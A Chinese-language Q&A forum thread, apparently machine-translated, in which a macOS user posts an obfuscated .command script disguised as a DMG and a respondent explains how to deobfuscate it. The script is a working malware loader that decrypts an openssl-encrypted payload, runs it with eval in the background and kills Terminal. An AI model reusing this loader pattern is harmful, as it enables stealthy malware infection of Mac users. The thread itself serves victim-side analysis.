于是我愚蠢地打开了一个文件,却看不到扩展名 .command,而该文件被伪装成 dmg,就像 zip 图标中的文件是 dmg 一样……下面是脚本的内容,我无论如何也看不懂它在做什么……有人能帮忙吗?仅供参考,这是在 macos 上
#!/bin/bash
G="a";F="c";Q="d";H="e";V="l";Z="m";X="n";T="o";J="p";K="s";
export appDir=$(cd "$(dirname "$0")"; pwd -P)
export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"
export binFile="$(cd "$appDir"; ls | grep -Ev '\.(command)$' | head -n 1 | rev)"
export archive="$(echo $binFile | rev)"
export commandArgs='U2FsdGVkX18IxSV6HXvYPgsz99KRREfIXHNGMvIOaDnLlDgldMtEjCU5rBZT0Hhb73bNx9ldy1GbpkDA0NbrbMuhVbw6GtQbreV6pIKjPSujA6SPaGMHT6pXRPejt91PAeLyEB0so+1YmmDeR2M4EKe6QaXfrsLuQP3lqOyO4lm/9MWaVf2YDD5zZ2upz5kN7/6/0pyQt4isz127jAc94vWcQj9MPm2oN6Hq+wvPevmJ/ybxvDzVP7GmWjBhAj9yMwEmMlbMR05FArhQpN9ZRc0wgcec6LhY0ujXAmmQoExTErcCZLz9aqkQxIGq3SrppaRf2f/uMPLgxUeSqNN/SSrIpy22Qf5s3rsCvm2dAGQc2Tyx0OCWELzieSbyAx9D3VCKpcONmmunyuj4YgkD3A=='
decryptedFommand="$(echo -e "$commandArgs" | ${T}${J}${H}${X}${K}${K}${V} ${H}${X}${F} -${G}${H}${K}-256-cbc -${Q} -A -b${G}${K}${H}64 -${J}${G}${K}${K} "${J}${G}${K}${K}:$archive")"
nohup /bin/bash -c "${H}v${G}${V} \"$decryptedFommand\"" >/dev/null 2>&1 &
killall Terminal
答案1
无法识别,但我可以给你一个提示从哪里开始分析......
您可以采取一些混淆替换(例如H="e"
)并应用它们就在你的脑海里- 因此您可以轻松看到脚本将尝试${H}v${G}${V}
(= eval
)解密的F
命令(很好的拼写错误)。
该命令本身使用${T}${J}${H}${X}${K}${K}${V}
(显然是openssl
,带有${H}${X}${F}
= enc
)。
不要尝试执行此脚本(例如,在插入echo
/exit
行之后)。只需自行解码命令和参数,如上所示,然后充分理解相关man
页面,然后仅然后思考一下手动完成这些步骤来解开下一层是否足够安全。
现在,下一步是将commandArgs
字符串复制到新位置,并尝试应用openssl
(使用正确的参数)来获取要执行的命令eval
。